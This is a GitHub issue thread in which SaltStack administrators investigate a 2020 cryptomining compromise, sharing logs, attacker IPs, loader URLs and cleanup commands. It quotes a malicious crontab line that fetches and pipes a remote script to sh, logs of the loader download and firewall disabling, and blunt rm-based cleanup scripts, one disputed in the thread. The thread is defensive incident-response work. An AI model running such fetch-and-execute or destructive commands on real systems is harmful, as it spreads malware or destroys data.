/tmp/salt-minions[BUG] #57057

xiaopanggege · 2020-05-03T02:08:40Z

Description
My all servers with salt-minion installed，An unknown program suddenly ran today，
He's /tmp/salt-minions

[root@yunwei ~]# top

top - 10:06:44 up 511 days, 18:39, 3 users, load average: 2.01, 2.02, 1.91
Tasks: 193 total, 1 running, 192 sleeping, 0 stopped, 0 zombie
Cpu(s): 7.2%us, 18.3%sy, 0.0%ni, 74.1%id, 0.4%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 8060948k total, 7502768k used, 558180k free, 76316k buffers
Swap: 4194300k total, 437368k used, 3756932k free, 188012k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2280 root 20 0 56.0g 541m 1588 S 101.1 6.9 345886:48 tp_core
27061 root 20 0 2797m 1848 1000 S 99.1 0.0 36:02.75 salt-minions

[root@yunwei ~]# ps -ef |grep 27061 | grep -v grep
root 27061 1 89 09:26 ? 00:36:37 /tmp/salt-minions

sal-minion version 2018.3.2
sys：CentOS release 6.5 (Final)

atuchak · 2020-05-03T02:48:04Z

I have the same.

salt-minion -V
Salt Version:
Salt: 3000.1

Dependency Versions:
cffi: Not Installed
cherrypy: Not Installed
dateutil: 2.7.3
docker-py: Not Installed
gitdb: Not Installed
gitpython: Not Installed
Jinja2: 2.10
libgit2: Not Installed
M2Crypto: Not Installed
Mako: Not Installed
msgpack-pure: Not Installed
msgpack-python: 0.5.6
mysql-python: Not Installed
pycparser: Not Installed
pycrypto: 2.6.1
pycryptodome: Not Installed
pygit2: Not Installed
Python: 3.7.3 (default, Dec 20 2019, 18:57:59)
python-gnupg: Not Installed
PyYAML: 3.13
PyZMQ: 17.1.2
smmap: Not Installed
timelib: Not Installed
Tornado: 4.5.3
ZMQ: 4.3.1

System Versions:
dist: debian 10.3
locale: UTF-8
machine: x86_64
release: 4.19.0-8-cloud-amd64
system: Linux
version: debian 10.3

lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster

prryplatypus · 2020-05-03T02:59:19Z

Gents, this is an attack.

Check your firewalls. We've had all firewalls disabled on more than 20 systems. Still working to find out more about the issue.

aidanstevens29 · 2020-05-03T03:00:05Z

Appears to be related to CVE-2020-11651 and CVE-2020-11652. A backdoor was also installed via the exploit to /var/tmp/salt-store.

cianfaranim · 2020-05-03T03:01:09Z

Additional context for those not in the loop can be seen here:
https://gbhackers.com/saltstack-salt/

F

xiaopanggege · 2020-05-03T03:02:07Z

Maybe it is CVE-2020-11651 and CVE-2020-11652，Because my salt-master has access across the extranet

ndmgrphc · 2020-05-03T03:17:49Z

Entire system is being taken down by this can anyone tell us the immediate fix please?

opiumfor · 2020-05-03T03:20:47Z

This did at least something for me

opiumfor · 2020-05-03T03:22:33Z

I've also managed to strace the "salt-minoins" and got some IP, I guess it attackers host

clock_gettime(CLOCK_REALTIME, {1588474770, 745058278}) = 0
clock_gettime(CLOCK_REALTIME, {1588474770, 745079132}) = 0
epoll_wait(6, {}, 1024, 162) = 0
clock_gettime(CLOCK_MONOTONIC, {28866503, 976451307}) = 0
clock_gettime(CLOCK_MONOTONIC, {28866503, 976489118}) = 0
clock_gettime(CLOCK_MONOTONIC, {28866503, 976516591}) = 0
futex(0x9c4384, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x9c4380, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1
futex(0x9c4340, FUTEX_WAKE_PRIVATE, 1) = 1
epoll_wait(6, {{EPOLLIN, {u32=9, u64=9}}}, 1024, 338) = 1
clock_gettime(CLOCK_MONOTONIC, {28866503, 976644019}) = 0
read(9, "\1\0\0\0\0\0\0\0", 1024) = 8
clock_gettime(CLOCK_MONOTONIC, {28866503, 976722525}) = 0
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 89
setsockopt(89, SOL_TCP, TCP_NODELAY, [1], 4) = 0
setsockopt(89, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
setsockopt(89, SOL_TCP, TCP_KEEPIDLE, [60], 4) = 0
connect(89, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("193.33.87.231")}, 16) = -1 EINPROGRESS (Operation now in progress)
clock_gettime(CLOCK_MONOTONIC, {28866503, 976922034}) = 0
epoll_ctl(6, EPOLL_CTL_ADD, 89, {EPOLLOUT, {u32=89, u64=89}}) = 0
epoll_wait(6, {}, 1024, 338) = 0
clock_gettime(CLOCK_MONOTONIC, {28866504, 315460999}) = 0

xiaopanggege · 2020-05-03T03:23:43Z

kill -9 $(pgrep salt-minions)
kill -9 $(pgrep salt-store)

cianfaranim · 2020-05-03T03:23:46Z

193.33.87.231

Russian IP
I saw an example out there that was an AWS server (52.8.126.80)

prryplatypus · 2020-05-03T03:29:03Z

A scan revealed over 6,000 instances of this service exposed to the public Internet. Getting all of these installs updated may prove a challenge as we expect that not all have been configured to automatically update the salt software packages.

To aid in detecting attacks against vulnerable salt masters, the following information is provided.

Exploitation of the authentication vulnerabilities will result in the ASCII strings "_prep_auth_info" or "_send_pub" appearing in data sent to the request server port (default 4506). These strings should not appear in normal, benign, traffic.

Published messages to minions are called "jobs" and will be saved on the master (default path /var/cache/salt/master/jobs/). These saved jobs can be audited for malicious content or job ids ("jids") that look out of the ordinary. Lack of suspicious jobs should not be interpreted as absence of exploitation however.

opiumfor · 2020-05-03T03:34:09Z

Seems like it's better to stop salt-masters for a while

ndmgrphc · 2020-05-03T03:46:42Z

Stopping salt masters does not stop the processes from running. Also, can we expect that the exploiters have had root access to every minion?

nebev · 2020-05-03T03:50:54Z

Been affected :( . Done the following: Stopped all Salt Masters, and run the following:

kill -9 $(pgrep salt-minion)
kill -9 $(pgrep salt-minions)
kill -9 $(pgrep salt-store)
rm /tmp/salt-minions
rm /var/tmp/salt-store

Not sure if this is enough at the moment

myii · 2020-05-03T03:53:16Z

YOU MUST UPDATE YOUR MASTER(S) IMMEDIATELY

Important references:

Disconnect them from the internet ASAP, perform the necessary updates. There are also backports for older versions of Salt:

"There are also now official 2016.x and 2017.x patches provided by SaltStack via the same location as the other patches."

atastycookie · 2020-05-03T03:57:02Z

godlike64 · 2020-05-03T04:00:36Z

YOU MUST UPDATE YOUR MASTER(S) IMMEDIATELY

Important references:

https://github.com/saltstack/community/blob/master/doc/Community-Message.pdf

https://docs.saltstack.com/en/latest/topics/releases/3000.2.html

https://docs.saltstack.com/en/latest/topics/releases/2019.2.4.html

https://labs.f-secure.com/advisories/saltstack-authorization-bypass

https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/

Disconnect them from the internet ASAP, perform the necessary updates. There are also backports for older versions of Salt:

"There are also now official 2016.x and 2017.x patches provided by SaltStack via the same location as the other patches."

Seems the attack started a couple of hours ago. I would add:

Contact your InfoSec team.
Assume the worst (that every system with a Salt component has been compromised).
If you don't have an InfoSec team, or you are not an InfoSec expert, your best path moving forward is to reinstall the affected systems, and take extreme care when restoring configuration files from a backup.

venugopalnaidu · 2020-05-03T04:10:28Z

We got the same issue and we followed the above which remediated it. Thank you all for giving the solution.

wavded · 2020-05-03T04:25:49Z

In our experience, we had one job that was executed that did the following on each server according to the logs:

<83>¦returnÚláFirewall stopped and disabled on system startup
kernel.nmi_watchdog = 0
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: No such file or directory while trying to stat /root/.ssh/authorized_keys
grep: Trailing backslash
grep: write error: Broken pipe
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
sh: 484: docker: not found
sh: 485: docker: not found
sh: 486: docker: not found
sh: 487: docker: not found
sh: 488: docker: not found
sh: 489: docker: not found
sh: 490: docker: not found
sh: 491: docker: not found
sh: 492: docker: not found
sh: 493: docker: not found
sh: 494: docker: not found
sh: 495: docker: not found
sh: 496: docker: not found
sh: 497: docker: not found
sh: 498: docker: not found
sh: 499: docker: not found
sh: 500: docker: not found
sh: 501: docker: not found
sh: 502: docker: not found
sh: 503: docker: not found
sh: 504: docker: not found
sh: 505: docker: not found
sh: 506: setenforce: not found
apparmor.service is not a native service, redirecting to systemd-sysv-install
Executing /lib/systemd/systemd-sysv-install disable apparmor
insserv: warning: current start runlevel(s) (empty) of script `apparmor' overrides LSB defaults (S).
insserv: warning: current stop runlevel(s) (S) of script `apparmor' overrides LSB defaults (empty).
Failed to stop aliyun.service.service: Unit aliyun.service.service not loaded.
Failed to execute operation: No such file or directory
P NOT EXISTS
md5sum: /var/tmp/salt-store: No such file or directory

salt-store wrong
--2020-05-02 20:10:27--  https://bitbucket.org/samk12dd/git/raw/master/salt-store
Resolving bitbucket.org (bitbucket.org)... 18.205.93.1, 18.205.93.2, 18.205.93.0, ...
Connecting to bitbucket.org (bitbucket.org)|18.205.93.1|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16687104 (16M) [application/octet-stream]
Saving to: '/var/tmp/salt-store'

2020-05-02 20:10:40 (1.27 MB/s) - '/var/tmp/salt-store' saved [16687104/16687104]
8ec3385e20d6d9a88bc95831783beaeb
salt-store OK§retcode^@§successÃ

wavded · 2020-05-03T04:27:29Z

salt-minions -> https://github.com/xmrig/xmrig

emmittpu · 2020-05-03T04:31:53Z

same things in my servers.

ndmgrphc · 2020-05-03T04:51:48Z

Any compromised minion is toast I'm guessing. /tmp/salt-minions is just compiled xmrig? Anyone have any hints for cleanup?

xiaopanggege · 2020-05-03T04:59:34Z

[root@xiaopgg_2 ~]# /tmp/salt-minions -h
Usage: xmrig [OPTIONS]

Network:
-o, --url=URL URL of mining server
-a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms

atastycookie · 2020-05-03T05:04:49Z

We are investigating salt-store (loader: hxxp://217.12.210.192/salt-store, hxxps://bitbucket.org/samk12dd/git/raw/master/salt-store) and you should do the same, not the salt-minions (miner)!
VT salt-store: https://www.virustotal.com/gui/file/9fbb49edad10ad9d096b548e801c39c47b74190e8745f680d3e3bcd9b456aafc/detection

What we know right now

(!) Firewall rules cleaned up, stopped and disabled
(!) Make changes in the /var/spool/cron/root
Hardcoded IP 193.33.87.231 should be blocked on all server via iptables/firewalld
NMI watchdog is disabled via sysctl
AppArmor is disabled, also
Nginx is stopped
Trying to hack Redis (redis_brH9, main.redisBrute)
Loader contains https://ironnet.com/blog/malware-analysis-nspps-a-go-rat-backdoor/ https://gyazo.com/d5b8e2df6838ab452fc8a51374dd3a86

minions

kill -9 $(pgrep salt-minions)
kill -9 $(pgrep salt-store)
rm -f /tmp/salt-minions
rm -f /var/tmp/salt-store
sed -i '/kernel.nmi_watchdog/d' /etc/sysctl.conf
systemctl restart firewalld || /etc/init.d/iptables restart

master

yum update salt-master
systemctl restart salt-master

leeyo · 2020-05-03T05:08:58Z

We have the same problem, the program shut down all the services, include nginx 、redis

taigrr · 2020-05-03T05:52:56Z

It enables hugepages.

atoponce · 2020-05-03T06:05:17Z

Probably wise to change your passwords if you've been logging into root.

taigrr · 2020-05-03T06:16:15Z

Here's what my salt-store tried to run:

/usr/sbin/sh -c pkill -f salt-minions
/usr/sbin/sh -c chmod +x /tmp/salt-minions
/usr/sbin/sh -c /tmp/salt-minions &

(The last 2 lines execute in a loop until it can detect the miner is running)

Method of detection: spun up a docker container, replaced /bin/sh with a script which logs all run commands to a tmpfile.

Dockerfile:

FROM archlinux
ADD salt-store .
ADD hello.sh .
RUN chmod +x salt-store
RUN chmod +x hello.sh
RUN cp /bin/sh /bin/shh
CMD /bin/bash

hello.sh:

#!/bin/bash
read -r line
/bin/echo "$0 $*" >> /log.txt
/bin/bash -c "$*"

Build container, spin up, run "mv /hello.sh /bin/sh", run "./salt-store", wait 2 minutes, cat log.txt

salt-store also auto-downloads the salt-minions binary to /tmp/salt-minions. Not a shell script, uses golang built-in.

Avasz · 2020-05-03T06:26:43Z

It also stopped and disabled Docker services.
Spent few moments thinking Docker ports stopped working because of disabled firewall rules, and was trying to configure iptables forwarding before noticing Docker was disabled. 🤦

Aldenar · 2020-05-05T08:26:27Z

@taigrr It was in /tmp/.ICEd-unix/

The script had a completely random name. No suffix to indicate file type.

jerrykan · 2020-05-05T10:29:18Z

There are also patches available for versions all the way back to 2015.8.10 found here:
https://www.saltstack.com/lp/request-patch-april-2020/

Putting patches behind some sort of sign-up wall requesting personal information isn't exactly classy. Just seems like a way to further annoy users after a major security issue.

phoerious · 2020-05-05T13:40:43Z

I analysed the malware a little, nothing spectacular. The salt-minions binary really seems to be just a Monero miner.

Here is the dropper script from the Cron job: hxxps://pastebin.com/UDykbnpU
A few DNS requests were made to pool.minexmr.com.
Here is a stack and heap dump of /tmp/salt-minions running in a sandboxed VM with the XMR wallet IDs and IP sockets: hxxps://pastebin.com/wue5zivp
And finally here a list of all Go source files: hxxps://pastebin.com/FMu6HfsK

The other one's much nastier.
Make sure to clean ALL crontabs in /var/spool/cron, not just the one of the root user.

tarunyx · 2020-05-05T16:18:36Z

I analysed the malware a little, nothing spectacular. The salt-minions binary really seems to be just a Monero miner.

Here is the dropper script from the Cron job: hxxps://pastebin.com/UDykbnpU
A few DNS requests were made to pool.minexmr.com.
Here is a stack and heap dump of /tmp/salt-minions running in a sandboxed VM with the XMR wallet IDs and IP sockets: hxxps://pastebin.com/wue5zivp
And finally here a list of all Go source files: hxxps://pastebin.com/FMu6HfsK

The other one's much nastier.
Make sure to clean ALL crontabs in /var/spool/cron, not just the one of the root user.

What would be "the other ones"?

taigrr · 2020-05-05T16:23:47Z

Newer versions if you didn't get to it in time.

phoerious · 2020-05-05T16:29:39Z

One's, not ones. I meant the salt-store remote shell. I dumped its memory as well, but nothing interesting popped up, since it doesn't have many hardcoded strings and is probably obfuscated. I could find a sorted array of ASCII characters. I did not perform any more detailed analysis of the disassembly, so the information is of limited value, but I posted it anyway just in case.

taigrr · 2020-05-05T16:51:43Z

@taigrr - please add me to the Slack channel. Thank you for setting it up.

@sdreher
It's public, see saltexploit.com

rongzeng54 · 2020-05-05T17:15:15Z

#57088
For the people still need to use SaltStack, but now temporarily lack confidence.

jbartak · 2020-05-06T13:02:05Z

There is original sa.sh script: https://file.io/h0dXR3W9 downloaded on our salt instance.

geniesis · 2020-05-06T20:04:05Z

So, i've found some additional files that appear to be dropped.

On the salt-master:
/usr/local/lib/liblmvi.so (sha256:2984033766ce913cdf9b7ee92440e7e962b5cb5b90f7d1034f69837f724990ee)

It seems that virustotal doesn't detect it as bad.

It adds this path to /etc/ld.so.preload

On both salt-minions and master i've also found that some of the dropped files can't be deleted due to immutable attribute set.

This string helped, script helped to locate them:
lsattr -aR .//. 2>/dev/null | sed -rn '/i.+\.\/\/\./s/\.\/\///p'

In addition, i've also found /etc/hosts to be edited with additional entries for Bitbucket.

MartinMystikJonas · 2020-05-08T20:46:33Z

In case somebody would need this. I used this commands to do quick fix on affected systems:

 killall -9 salt-store;
 rm -f /tmp/salt*;
 rm -f /var/tmp/salt*;
 rm /usr/bin/salt-store;
 kill -9 $(pgrep -f ICEd);
 rm -rf /tmp/.ICE*;
 rm -rf /var/tmp/.ICE*;
 rm /root/.wget-hsts;
 sed -i '/bitbucket.org$/d' /etc/hosts;
 rm /usr/local/lib/*.so; # as far as I know there should not be any legitimate .so but check it before running
 rm /etc/ld.so.preload;
 ldconfig;
 sed -i '/kernel.nmi_watchdog=0$/d' /etc/sysctl.conf;
 rm /etc/selinux/config; #if you do not use custom selinux config
 touch /var/log/syslog;
 service rsyslog restart; 
 rm /etc/salt/minion.d/_schedule.conf; 
 systemctl stop salt-minion;
 rm /etc/salt/pki/minion/*; #need to regenerate salt keys
 rm /var/tmp/rf /var/tmp/temp3754r97y12

I never seem this mentioned before, but I found this file trying to periodicaly run salt:

 rm /etc/salt/minion.d/_schedule.conf;

Also check /etc/cron.d for strange files usually with random 4-5 letter name.

taigrr · 2020-05-08T21:27:18Z

@MartinMystikJonas : please don't try to salvage systems at this point. Start fresh.

/etc/salt/minion.d/_schedule.conf: this file is fine. Please read the documentation if you're confused on what it is.

Everyone else: that helper script may be enough to help you calm down your CPU cycles enough to pull out data from your boxes (make the Cryptominer calm down for a bit) but please remember all your ssh keys and secrets were probably stolen, and you have no way to know what's lingering.

If you have any other questions, please visit saltexploit.com or visit the slack channel (directions also on saltexploit.com)

suhaimi-cyber4n6 · 2020-05-09T00:59:50Z

Hi @wavded,

Can you please share the logs path location as what you mention below? Appreciate it. Thanks.

Regards,
SC

In our experience, we had one job that was executed that did the following on each server according to the logs:

<83>¦returnÚláFirewall stopped and disabled on system startup
kernel.nmi_watchdog = 0
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: No such file or directory while trying to stat /root/.ssh/authorized_keys
grep: Trailing backslash
grep: write error: Broken pipe
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
sh: 484: docker: not found
sh: 485: docker: not found
sh: 486: docker: not found
sh: 487: docker: not found
sh: 488: docker: not found
sh: 489: docker: not found
sh: 490: docker: not found
sh: 491: docker: not found
sh: 492: docker: not found
sh: 493: docker: not found
sh: 494: docker: not found
sh: 495: docker: not found
sh: 496: docker: not found
sh: 497: docker: not found
sh: 498: docker: not found
sh: 499: docker: not found
sh: 500: docker: not found
sh: 501: docker: not found
sh: 502: docker: not found
sh: 503: docker: not found
sh: 504: docker: not found
sh: 505: docker: not found
sh: 506: setenforce: not found
apparmor.service is not a native service, redirecting to systemd-sysv-install
Executing /lib/systemd/systemd-sysv-install disable apparmor
insserv: warning: current start runlevel(s) (empty) of script `apparmor' overrides LSB defaults (S).
insserv: warning: current stop runlevel(s) (S) of script `apparmor' overrides LSB defaults (empty).
Failed to stop aliyun.service.service: Unit aliyun.service.service not loaded.
Failed to execute operation: No such file or directory
P NOT EXISTS
md5sum: /var/tmp/salt-store: No such file or directory

salt-store wrong
--2020-05-02 20:10:27--  https://bitbucket.org/samk12dd/git/raw/master/salt-store
Resolving bitbucket.org (bitbucket.org)... 18.205.93.1, 18.205.93.2, 18.205.93.0, ...
Connecting to bitbucket.org (bitbucket.org)|18.205.93.1|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16687104 (16M) [application/octet-stream]
Saving to: '/var/tmp/salt-store'

2020-05-02 20:10:40 (1.27 MB/s) - '/var/tmp/salt-store' saved [16687104/16687104]
8ec3385e20d6d9a88bc95831783beaeb
salt-store OK§retcode^@§successÃ

taigrr · 2020-05-09T04:20:01Z

@suhaimi-cyber4n6 it's on the salt-master. Look in the cachedir for saltstack. (Usually /var/cache/salt/master/jobs ) Note that by default, salt only stores your jobs for 24 hours, so it may be too late to see your output by now.

suhaimi-cyber4n6 · 2020-05-09T05:20:11Z

Thank you very much @taigrr . I really appreciate it. :)

@suhaimi-cyber4n6 it's on the salt-master. Look in the cachedir for saltstack. (Usually /var/cache/salt/master/jobs ) Note that by default, salt only stores your jobs for 24 hours, so it may be too late to see your output by now.

iamjprince · 2020-05-09T16:43:23Z

Sorry for being late to this game. Here is what I've seen on Linux. Your experience may differ. (I've proofread this a couple of times. I believe I've corrected my typos.)

I've seen two different processes, salt-minions (Not the "s" at the end) and salt-store.
Check for these files in /tmp /var/tmp /usr/bin (/usr/bin/salt-minions can hide among the VALID /usr/bin/salt-minion files!)

Check your crontabs for two entries, likely the last two lines. These commands run every minute to pull down what I think is the installer and to restart salt-store.

* * * * * wget -q -O - http://<ip address>/<shortname>.sh | sh > /dev/null 2>&1
* * * * * /usr/bin/salt-store || /tmp/salt-store || /var/tmp/salt-store

Verify these are NOT YOURS, then remove or comment out as you would with any normal cron job.

If you are using systemd, run systemctl status salt-minion and examine the CGroup section. You will see your "systemctl" command in there. This is normal. You may see something like this running in tmp. The first number is the process ID (PID) number. I've omitted PIDs here.

sh -c /tmp/.ICEd-unix/<five random characters>
/tmp/.ICEd-unix/<same five random characters>

Note the d at the end of .ICEd in the malicious directory name. Be aware that /tmp/.ICE-unix is a valid directory name, please don't mess with that one as I believe it handles X11 sessions!

This command will also list your valid /usr/bin/python /usr/bin/salt-minion sessions. You will likely see the malicious salt-minions (Note the trailing S in minionS!) process.

For the experienced Unix/Linux administrators/users out there, this find command will quickly locate and print the extended attributes of the file listed after "-name". If you're not comfortable using find, skip it and look for the files manuall.

find /tmp /var/tmp /usr/bin -type f -name salt-store -exec lsattr \{\} \; -print

If you're comfortable with find, you can change lsattr to chattr -i to remove the immutable flag. You can change the file name to look for something other than salt-store

upya4ko · 2020-05-09T17:43:11Z

Found /usr/bin/salt-store on one server, MD5: 33140982ace71281c40d0dab0e9d69b8
https://www.virustotal.com/gui/file/98d3fd460e56eff5182d5abe2f1cd7f042ea24105d0e25ea5ec78fedc25bac7c/community

Probably it appear late with updates, because i found it only on one server.

pretorianec-ua · 2020-05-15T08:12:56Z

Also mentioned (published) even on January 2020 ... - CVE-2019-17361
(https://access.redhat.com/security/cve/cve-2019-17361)

cachedout · 2020-05-15T10:09:59Z

@pretorianec-ua That is a different issue than the one being discussed in this thread.

sagetherage · 2020-06-02T15:08:13Z

closing as there likely isn't any new relevant information to be added, here and if there is please see our Community Slack Channel #salt-store-miner-public

myloveecho · 2020-07-03T01:31:57Z

Does status - mile stone approved means we are working on a fix but not yet released? And do we have a fix branch to follow?

taigrr · 2020-07-03T07:33:15Z

@myloveecho This wasn't actually a bug in saltstack, but rather a report of evidence gathered regarding an exploit that used another bug, which was fixed several releases ago. There are patches available here.

You can also just upgrade to Sodium, which has the fixes already included.

Andreypavlovy · 2020-09-08T14:07:28Z

This is actually easy, you can check https://www.netweakhackers.com to learn more.

xiaopanggege added the Bug broken, incorrect, or confusing behavior label May 3, 2020

This comment has been minimized.

Sign in to view

waynew added this to To do in [TEST] Wayne's Work via automation May 11, 2020

waynew added this to the Approved milestone May 11, 2020

waynew removed this from To do in [TEST] Wayne's Work May 11, 2020

sagetherage closed this as completed Jun 2, 2020

/tmp/salt-minions[BUG] #57057

/tmp/salt-minions[BUG] #57057

Comments

xiaopanggege commented May 3, 2020

atuchak commented May 3, 2020

prryplatypus commented May 3, 2020 • edited

aidanstevens29 commented May 3, 2020

cianfaranim commented May 3, 2020

xiaopanggege commented May 3, 2020

ndmgrphc commented May 3, 2020

opiumfor commented May 3, 2020

opiumfor commented May 3, 2020

xiaopanggege commented May 3, 2020 • edited

cianfaranim commented May 3, 2020 • edited

prryplatypus commented May 3, 2020

opiumfor commented May 3, 2020

ndmgrphc commented May 3, 2020

nebev commented May 3, 2020

myii commented May 3, 2020 • edited

YOU MUST UPDATE YOUR MASTER(S) IMMEDIATELY

atastycookie commented May 3, 2020

godlike64 commented May 3, 2020

YOU MUST UPDATE YOUR MASTER(S) IMMEDIATELY

venugopalnaidu commented May 3, 2020

wavded commented May 3, 2020

wavded commented May 3, 2020

emmittpu commented May 3, 2020

ndmgrphc commented May 3, 2020

xiaopanggege commented May 3, 2020

atastycookie commented May 3, 2020 • edited

leeyo commented May 3, 2020

taigrr commented May 3, 2020

atoponce commented May 3, 2020

taigrr commented May 3, 2020 • edited

Avasz commented May 3, 2020 • edited

This comment has been minimized.

This comment has been minimized.

Aldenar commented May 5, 2020 • edited

jerrykan commented May 5, 2020

This comment has been minimized.

phoerious commented May 5, 2020 • edited by waynew

tarunyx commented May 5, 2020 • edited by waynew

taigrr commented May 5, 2020

phoerious commented May 5, 2020

taigrr commented May 5, 2020 • edited

rongzeng54 commented May 5, 2020

jbartak commented May 6, 2020

geniesis commented May 6, 2020 • edited

MartinMystikJonas commented May 8, 2020

taigrr commented May 8, 2020 • edited

suhaimi-cyber4n6 commented May 9, 2020

taigrr commented May 9, 2020

suhaimi-cyber4n6 commented May 9, 2020

iamjprince commented May 9, 2020

upya4ko commented May 9, 2020

pretorianec-ua commented May 15, 2020

cachedout commented May 15, 2020

sagetherage commented Jun 2, 2020

myloveecho commented Jul 3, 2020

taigrr commented Jul 3, 2020

Andreypavlovy commented Sep 8, 2020

prryplatypus commented May 3, 2020 •

edited

xiaopanggege commented May 3, 2020 •

edited

cianfaranim commented May 3, 2020 •

edited

myii commented May 3, 2020 •

edited

atastycookie commented May 3, 2020 •

edited

taigrr commented May 3, 2020 •

edited

Avasz commented May 3, 2020 •

edited

Aldenar commented May 5, 2020 •

edited

phoerious commented May 5, 2020 •

edited by waynew

tarunyx commented May 5, 2020 •

edited by waynew

taigrr commented May 5, 2020 •

edited

geniesis commented May 6, 2020 •

edited

taigrr commented May 8, 2020 •

edited